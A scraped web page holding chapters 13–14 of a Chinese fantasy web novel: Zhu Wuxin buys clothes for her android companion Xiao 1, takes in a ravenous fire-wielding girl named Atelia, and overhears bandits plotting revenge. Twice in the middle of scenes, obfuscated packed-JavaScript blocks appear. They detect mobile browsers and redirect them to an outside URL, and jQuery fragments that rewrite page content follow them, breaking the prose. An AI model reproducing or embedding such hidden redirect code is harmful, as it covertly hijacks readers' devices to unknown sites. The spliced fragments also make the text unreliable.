没多久,大盾端着一杯大麦酒走过来,在祝梧心对面坐下,脸色因为酒精有些发红。
“祝管家,”他声音洪亮,“我大盾是个粗人,之前在路上……有对不住的地方,您别往心里去。”他指的是在石塔里,让祝梧心和小1分开。
祝梧心正吃的开心。听到声音,她抬眼,将口中烤肉咽下,端起自己面前那杯几乎没动过的大麦酒,和他碰了一下。
“各取所取,结果是好结果。”
大盾嘿嘿一笑,仰头灌了一大口。
“您是个爽快人!以后要是还有货要运,尽管找我大盾!别的不敢说,保证给您般的妥妥贴贴,大盾在货就在!”
祝梧心不置可否,跑路的时候大盾都没忘记把货物带上,她相信他一定是说到做到的人。
“好。”祝梧心再次举杯,“那就多谢了。”
这顿饭吃了很久,直到夜幕降临,队员们才心满意足地散去,各自去休息了。
13.第 13 章
第二天。
起床后,祝梧心和小1在旅店一楼吃了早饭,灰岩城的特色,一种用本地谷物烤制的厚饼,咬上去还有坚果的香气,搭配肉汤,味道很好。
隔壁桌几个穿着皮甲的旅人正大声讨论什么,祝梧心仔细听,好像在说什么,今天是城中心广场的集市日。
祝梧心咬着饼,目光落在对面安静坐着的小1身上。小1跟往常一样,不用吃饭,只陪着她。这时候,祝梧心才看到,小1那身白色连衣裙的裙摆勾丝了。
“吃完我们去集市逛逛?”祝梧心放下勺子。
小1淡蓝色的眼睛眨了眨,随即点头。
灰岩城的集市日果然热闹。
各式各样的摊贩沿着街道排开,叫卖声、讨价还价声、孩子们的嬉笑声混在一起,空气里还弥漫着香料,烤面包的味道。
祝梧心深深吸了口气。
真好啊,这是她来这个世界后,第一次感到了鲜活的生命力。
随后她目光被一家服装店吸引了。
店门口挂着几件简洁但裁剪不错的衣裙。
老板见她们在看自家店铺,立刻从店铺走了出来。
“两位漂亮的小姐,快请进!看看有没有喜欢的?”老板笑容和善,目光在祝梧心和小1身上转了转,尤其看到小1近乎完美的样貌的时候,眼里闪过惊叹。
祝梧心对老板笑了笑,随后拉着小1走进店内,对老板说:“麻烦帮她挑几身合适的衣服。”她指了指小1。
“好嘞!”老板爽快应声,手脚麻利,不一会儿就抱来了好几套衣裙,鹅黄,水蓝,米白,浅粉,什么颜色的都有,材质看起来都很舒适。
“试试看。”祝梧心对小1说。
小1不知道祝梧心要做什么,但她对祝梧心的话向来照做,于是抱着衣服,走向老板用布帘隔开的试衣区,祝梧心则在外面的沙发上坐下等着。
当小1换好第一套水蓝色的及膝连衣裙走出来的时候,见惯了她穿白裙的祝梧心微微怔了一下。剪裁合体的裙子衬的她肤色白皙,蓝色的连衣裙跟她的瞳色相得益彰,少了几分之前的机械感,多了几分少女的清新。
“很好看。”祝梧心轻声道。
老板在一边也是赞不绝口。说小1是她开店以来遇到的最美的女孩子。
接着是鹅黄色的米白色的衣服,小1就像个精致的衣架子,每一套穿在她身上都意外合适,每换一件出来,她都安静地站着,偶尔回因为老板过于热情的夸奖微微片头,眼中数据流悄悄闪过,分析这种赞美,与衣物的关联性。
祝梧心看着换了一身浅粉色裙子显得格外柔软的小1,几乎没有犹豫,对老板说:“这些都要了。”
老板喜出望外,连忙打包。小1这时候终于明白了,为什么所有者小姐一直让她试衣服,自己却不试。她轻轻拉了拉祝梧心的衣袖,低声道:“祝管家,我不需要衣服的,我的机体有自洁功能,而且这些……”
“你值得。”祝梧心打断她。她看着小1,眼前忽然闪过石塔里小1毫不犹豫挡在她身前的身影。祝梧心敛了敛眸子,所以无论小1是什么,从那一刻开始,小1是伙伴,是朋友,是她最重要的人,也是……家人。所以,为家人,为朋友花点钱,天经地义。
小1愣住了。你值得三个字在她核心逻辑中来回回荡,与完成任务,执行指令,之类的话完全不同。她开始调动数据库进行分析:【值得:拥有价值,应得。关联感情:认可、珍视……】
老板一边打包,一边笑着对祝梧心说:“这位美丽的小姐,您只为您的朋友买,不为您自己选一身吗?”
小1捕捉到老板口中的话。
老板吗,所有者小姐,我是,所有者小姐的朋友吗?
分析好像遇到了瓶颈,一种她无法完全用数据分析的暖意,逐渐在她胸口中央扩散。
祝梧心对打扮自己兴趣不大,她衣服向来选择简洁舒适为主。目光在店内扫了一圈,停下,随后指向一套挂在角落,款式利落简洁的深灰色套装。
“把那套包起来吧。”
老板:“好嘞!”
买完衣服,两人手里都多了几个包裹。走在回旅店的路上,小1终于还是将之前的疑问问出了口:“祝管家,为什么……要给我买这么多的衣服,根据计算,一套用于更换已经足够。”
祝梧心看着前方喧闹的街道,微微侧目:“没有为什么,觉得适合你,就买了。”她顿了顿,补充道,“女孩子多几件漂亮衣服很正常。”
小1似懂非懂,但还是点了点头,将“女孩子”和“漂亮衣服”还有“值得”的关联性记入数据库,女孩子,值得,漂亮衣服。同时,把“所有者小姐觉得适合我”这个信息赋予了较高的优先级。
就在他们快要走到旅店门口时,前方突然传来一阵骚动,夹杂着几声呵斥和围观者的一轮,甚至有几个穿着盔甲手持长矛的卫兵正赶过去。
祝梧心和小1对视一眼。
“去看看。”祝梧心说。
两人挤进人群,只见一个卖包子的摊子前围了不少人。摊主是一个胖乎乎的大婶,正气的满脸通红,指着坐在她摊位旁边地上的人,对赶来的卫兵诉苦:“官爷!你们可得管管!这姑娘,一口气吃了我二十笼包子!整整二十笼!吃完一抹嘴就要走,问她要钱,她理都不理我!”
那个被指责的姑娘,正背对着祝梧心她们,一头火焰般的头发十分扎眼,她似乎不在乎周围的嘈杂还有指指点点,只不过本来坐在地上,忽然吸了吸鼻子,然后站起身,连身上的土都来不及拍,朝着蒸笼就过去了。
她掀开蒸笼,不管烫不烫,直接拿出一个包子,啊呜一口塞进了嘴里。
摊主还在诉苦,看到她举动。
“哎哎哎哎!!!你!!!!”摊主气坏了,拍着大腿又看向卫兵,“官爷,您看她!!!”
她对摊主的话充耳不闻,腮帮子被包子撑的一鼓一鼓,眼睛满足地微微眯起。
祝梧心:“……”
卫兵队长皱眉上前,试图与她沟通:“这位小姐,吃了东西是要付钱的,请你配合一下,把包子的钱付给这位大婶。”
她终于咽下了最后一口包子,慢悠悠抬起头,金色眸子懒洋洋地扫过卫兵队长,又扫过气鼓鼓的摊主,最后,低下头,又想拿一个新的。
卫兵队长:“……”深吸一口气,“这位小姐!”队长声音大了些。
忽然,她拿包子的手顿了一下。
像是感应到了什么,吸了吸鼻子,随后目光越过人群。
那双空洞又带着点懵懂的金色眼睛,瞬间亮了一下。
祝梧心:“……”不好。
她完全无视了还在喋喋不休的摊主和武器出鞘的卫兵们,直接迈开步子,赤脚踩在满是尘土的石板路上,噔噔噔地就朝祝梧心和小1的方向走了过来。
卫队长一愣,赶紧跟上:“你去哪?!”
她充耳不闻,径直走到祝梧心面前停下,她先是好奇地看了一眼祝梧心手里新衣服的袋子,然后又转向小1,目光在她身上那套新买的水蓝色裙子上停留了两秒。
最后,她的视线回到祝梧心脸上,金色的瞳孔直勾勾地盯着她,然后非常自然地,伸出了手。
依旧是掌心向上,意思明确得不能再明确。
要。
祝梧心:“……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690513|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她看着眼前这个弹指间能让盗匪灰飞烟灭,此刻却理直气壮讨要东西的手,再看向少女那双写满了“我饿了并且认定你有吃的”的双眼,一阵无言。
这算什么?被一头龙给讹上了?
摊主和卫兵队长也追了过来,摊主气得脸更红了,指着红发少女对祝梧心说:“这位小姐,你认识她?她吃了我的包子不给钱!整整二十笼啊!”
卫兵队长皱着眉,打量了一下祝梧心和小1,见她们衣着整洁,不像是一伙的,但看这红发女孩对她们的态度又很奇怪,于是公事公办地问:“二位是她的朋友?如果认识,请帮忙把账结一下,不然我们只能将她抓回去了。”
祝梧心心里叹气,抓她?给你十条命怕是都不够用。
祝梧心知道她的恐怖之处,眼看摊位周围围的人越来越多,虽然她也一点都不想跟这个危险的“移动天灾”扯上关系,但眼下这情况,显然不是她不想牵扯就能不牵扯的。
她看了一眼红发少女拿固执伸着的手,又看了看快气得冒烟的摊主和一脸无奈的卫兵,任命地打开随身的钱袋子,里面是一些零钱,问摊主:“二十笼包子,多少钱?”
摊主报了个数。
祝梧心数出相应的钱币递过去,摊主接过钱,脸色这才由阴转晴,嘟囔着“这还差不多”,收了钱转身回摊位了。
围观人群见没热闹可看了,也渐渐散了。
没多久,原地只剩下祝梧心,小1,以及解决了吃饭问题后心满意足,甚至心情大好地开始舔自己手指上沾到油渍的红发少女。
祝梧心看着她那副样子,额头隐隐作痛。
她尝试跟她沟通:“那个……包子钱,我帮你付了,你看,你是不是……”可以走了?
话没说完,红发少女舔手指的动作停了下来,金色眸子再次看向她,带着一种未经世事的好奇,以及祝梧心不确定自己是不是看错了,她竟然看到一丝依赖?
她朝祝梧心由靠近了一步,几乎要贴上来,然后再次伸出手。
只不过这次不是要东西,而是给。
祝梧心哭笑不得,看到她把脖子上那个锈蚀的金色牌子又取下来,给她。
“你要给我?”祝梧心问。
她点头,然后又往前送了送,期待地看着祝梧心。
与她对视了几秒,祝梧心败下阵来。
好吧。
祝梧心接过牌子:“谢谢你的礼物。”
红发少女眼睛瞬间更亮了,像两簇跳动的金色火焰。
然后,她往前走了两步,自然而然地……站到了祝梧心的身边,和小1一左一右,把祝梧心夹在了中间。
祝梧心:“???”
小1偏了偏头,看着站到祝梧心身边的红发少女,眼中闪过一丝“分析中”的光芒,随后没有阻拦。
因为她没有感觉到任何威胁。
祝梧心看着这一左一右两个“门神”,一个安静乖巧,一个懵懂危险,但貌似暂时无害,只觉得一个头两个大。
她试图往前走两步。
红发少女立刻亦步亦趋地跟上。
祝梧心停下。
她也停下。
祝梧心看向小1,用眼神询问:这怎么办?
小1回望她,轻轻摇了摇头,表示数据库里没有应对这种情况的预案。
祝梧心深吸一口气,又缓缓吐出。
行吧。
她认命地抬脚,准备回旅店了。
小1安静跟上。
而那个红发如火的少女,像个找到母兽的幼崽,寸步不离地跟在了她们后面。
夕阳,将三人的影子拉得很长。
14.第 14 章
回到旅店,祝梧心关上门。
一回头,就看到女生正站在房间中央,依旧是赤着脚,残破的白裙上全是灰尘和不明污渍,然后祝梧心看到她抬起手,然后舔了舔指尖,意犹未尽一样,好像手指上还有肉包子的香味。
“……”
祝梧心看着她。
脏,实在是太脏了,顶着这么一张漂亮的脸,却脏的像个小乞丐。
“小1,”祝梧心道,“带她洗一洗。”
小1点点头,直接走到女生面前,温声说:“跟我走吧。”
女生眨了眨眼睛,乖巧地跟上了小1。
到了浴室,小1耐心打开淋浴,调试水温,身为顶级仿生人,小1不怕水。
很快,浴室里传来了哗哗的水声。
祝梧心走到窗边,推开窗户,傍晚微凉的封吹了进来,虽然临近傍晚,但今天是集市日,外面依旧很热闹。
祝梧心就这样盯着看了好久。
直到身后传来浴室门打开的声音。
祝梧心回头。
看见小1从里面走了出来,她走到沙发边,看着那些袋子,然后看向窗边的祝梧心。
“祝管家,我可以……把那些新衣服,给她穿吗?”
房间里暖黄的灯光落在小1脸上,映得她蓝色的眼睛像浸在水里的宝石,很干净,也很纯粹。
祝梧心看着她:“小1。”声音不自觉放柔,“这些衣服现在已经是你的了,你可以自己决定怎么使用。”
小1眨了眨眼,下一秒,她很认真地说:“可是……这是祝管家买给我的,我还是要……”
“买给你的,就是你的了。”祝梧心走回沙发坐下,拿起水杯喝了一口,“你的东西,你想送给谁,或者借给谁,你自己做决定。”
小1看着祝梧心。
沉默了大约几秒钟。
她重重点了一下头,脸上依旧没什么大幅度的表情,但是眼神明显亮了一些。
“我明白了。”她说,“谢谢祝管家。”
然后她拿起衣服,转身又走进了浴室。
祝梧心看着她的背影。又喝了一口水,轻轻啧了一声,她刚才是不是在教一个仿生人,什么叫自我和什么叫物权?好像还成功了?
没过多久,浴室们再次被打开。
先走出来的是小1,她侧身让开,紧接着那个女生走了出来。
身上脏兮兮的东西洗干净以后,她整个人白的发光。火焰一样红的头发湿漉漉的披散在身后,还换上了小1那条米黄色的长裙,裙子意外的很合身,柔软的布料勾勒出她玲珑有致的腰身。
但下一秒,她皱了皱眉。
祝梧心和小1眼睛瞬间瞪大,阻拦的话还没说出口。
就看到女生直接抬手。
祝梧心:“……”
小1:“……”
一簇火焰直接出现在女生掌心。
她捧着火焰在头发上烤来烤去。
祝梧心:“……”好吧,这怎么不算是,吹风机呢。
等她烤干了头发,伸手扯了扯自己身上的新衣服,似乎对衣服很喜欢。随后她小心翼翼地提起裙摆,左右看了看,然后她抬起了头,金色的眸子里映着祝梧心的身影,忽然在原地转了个圈。
祝梧心看着她。
裙摆在她的动作下,像一朵盛开的花。
人也一样。
转完圈,她又立马看向小1,几步走到小1面前,在祝梧心和小1都没反应过来的手,忽然张开手臂,直接抱住了小1。
她把脸颊埋在小1颈窝里,蹭了蹭。
小1身体瞬间僵住了。她下意识抬手,悬在半空,不知道自己现在是该推开,还是该回应。只能求助地看向祝梧心。
祝梧心心中了然。
看着像大型猫科动物一样赖在小1身上的女生,轻声解释:“她在表达感谢,还有对你的喜欢。”
小1悬在半空的手慢慢放了下来。她偏过头,看着亚特莉娅近在咫尺的侧脸,感受着对方身体传来高于常人的温热体温,以及毫无保留的动作。
过了一会儿,她学着祝梧心平时拍她肩膀的样子,抬起了手,尽管动作很生涩,还是轻轻拍了拍女生的背。
“不客气。”她小声说。
女生听懂了,又蹭了她一下,然后松开了手。
站直后,忽然看向祝梧心。
祝梧心:“?”
紧接着女生又张开了手臂。
“……”
像被点了穴,祝梧心身体瞬间僵直,一股带着暖意,甚至有些烫人的气息扑面而来,将她整个人笼罩住。
女生的手臂环住了她的腰,脑袋抵在她胸口。
祝梧心甚至能感觉到她刚刚烘干的红发扫过自己的脸颊。
“……”
大脑空白了一瞬。
她下意识抬手。
手悬在半空。
推开不是,回应更不是。
她这辈子就没跟人这么亲密过。
这种感觉让她陌生,她靠的太近了,让她浑身不自在。
“……松开。”她听到自己干巴巴地说,声音发紧的厉害。
女生非但没松,还更贴近了。她好像很喜欢这种接触方式。
一旁的小1看着这一幕,看到祝梧心的反应。【行为分析:拥抱。所有者小姐的生理指标:心率升高,呼吸微促,肌肉紧绷。情感分析:不适?抗拒?数据库比对……无法解析。】但她看着祝梧心那副手足无措的样子,还是上前一步。
“祝管家说,松开她。”
女生听到小1的声音,转头,金色的眸子看向小1,又仰了仰头看向身体僵硬的祝梧心,脸上慢慢露出一丝困惑,好像不明白为什么表达喜欢会被拒绝。
但下一秒,她还是慢慢松了开手臂,退后一小步。
怀里骤然一空,祝梧心松了口气,下意识整了一下领口,然后一转眼。
祝梧心:“……”怎么这么可怜看着。
女生眼神湿漉漉地看着祝梧心,活像只被嫌弃的大型犬。
祝梧心不敢跟她对视,一对视就感觉好像自己欺负了人似的,让她负罪感爆棚。
“你……”祝梧心斟酌了一下,试图转移话题。
“你会说话吗?”祝梧心问。
女生并不记仇,听到祝梧心在对自己说话,眨了眨眼,然后张嘴,喉咙里发出几个音节。
祝梧心又问:“你的名字是什么?”
女生努力调动着许久不用的声带,一字一顿:“亚……特……莉……娅。”
“亚特莉娅。”祝梧心重复了一遍。
“亚……特……莉……娅。”女生也跟着重复了一遍。
“恩,你的名字很好听。”祝梧心夸道。
“名字……”她重复,“好听……”
祝梧心点头:“嗯,很好听。”
“亚……特……莉……娅。”
“亚特……莉娅。”
“亚特莉娅。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725150|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“名字,好听!”
接连重复了好几遍。
祝梧心能看到她眼睛里的激动。
“……”
祝梧心看了看自己的手心。
心里暗骂自己,刚才在她扑过来的时候,跟小1一样拍拍她的后背怎么了。
负罪感更重了。
窗外是即将落下的夕阳,将房间内的一切都镀上了一层暖金色的光晕。
在磕磕绊绊的沟通中,祝梧心又问了她为什么会被关在石塔塔底。
得到的答案是,她不记得,她醒来就在那里了。
说话的时候还指了指自己的脑袋,眉头皱起,回忆让她很不舒服,很痛。
祝梧心就不再继续问了。
-
是夜。
鸡飞狗跳的打闹过后,大家都累了,洗漱后,三人都躺下了。
除非必要,祝梧心不习惯与人同床,房间是双人间,最后是小1和亚特莉娅挤在一张床上。
床上,亚特莉娅像只八爪鱼一样手脚并用地缠着小1,脸颊贴着小1的肩膀,很快就睡熟了。
小1身体依旧有些僵硬,但没有推开她,只是安静地躺着,感受着身边传来的、过于温暖的体温和规律的呼吸声。过了一会儿,她也慢慢闭上了眼睛,进入低功耗的休息状态。
祝梧心平躺在自己的床上,她睁着眼,盯着天花板。
她心里默默算着时间。
已经出来差不多快半个月了。还有半个月执事7号就又要来了。
明天还得买点种子,庄园那个培育模块空着也是空着,种点能吃的东西,到时候自己做饭,总比天天吃大鼻涕强,而且后面如果要把庄园改成旅馆,总不能让客人也吃大鼻涕……
想着,她思绪渐渐模糊……眼皮也逐渐合上……
就在这时,她突然睁开了眼睛。
奇怪,自从离开庄园,那一直萦绕在耳边的嗡鸣声好像就消失了,她之前一直以为是换了环境或者太累的原因,没太在意,但现在,在这种极致安静的环境里,她忽然意识到,不是那声音消失了,而是她的听觉,或者说,感知,变得不一样了。
从那天她听到内鬼的声音开始她就应该注意到的。
内鬼的兽车离她的兽车并不近,内鬼的动作也小心翼翼,连离内鬼最近的兽车都没听到的声音,她为什么会听到。
就像现在,她甚至能清晰地“听”到隔壁房间客人平稳的呼吸声,窗外远处集市收摊时车轮碾过石板的轱辘声,甚至……空气里微尘缓缓飘落的细微动静,她都能感觉到。就好像整个世界都被放大,拉近了。
祝梧心皱眉,试图忽略这种奇怪的感觉,重新闭上眼睛。
就在这时——
“……确定是这间?妈的,就是那两个娘们带着个红头发的怪胎?”
“错不了!老大他们……就是折在她们手里!还有兄弟们……连尸首都找不着!”
“操!老子在外头躲了几天风声,回来就听说……血狼团就这么没了?!就栽在几个娘们手里?老子不信这个邪!”
“嘘……小点声!那红头发的邪门得很……石鸦和裂爪的人也都……”
“呵,再邪门那也是三个娘们儿,等会儿摸进去,先放倒那两个看起来正常的,再把那红头发的捆了!妈的,到时候再把她们卖到黑矿去,让她们知道知道什么叫生不如死!给老大报仇!”
“是得让她好好尝尝滋味……!”
祝梧心身体瞬间紧绷。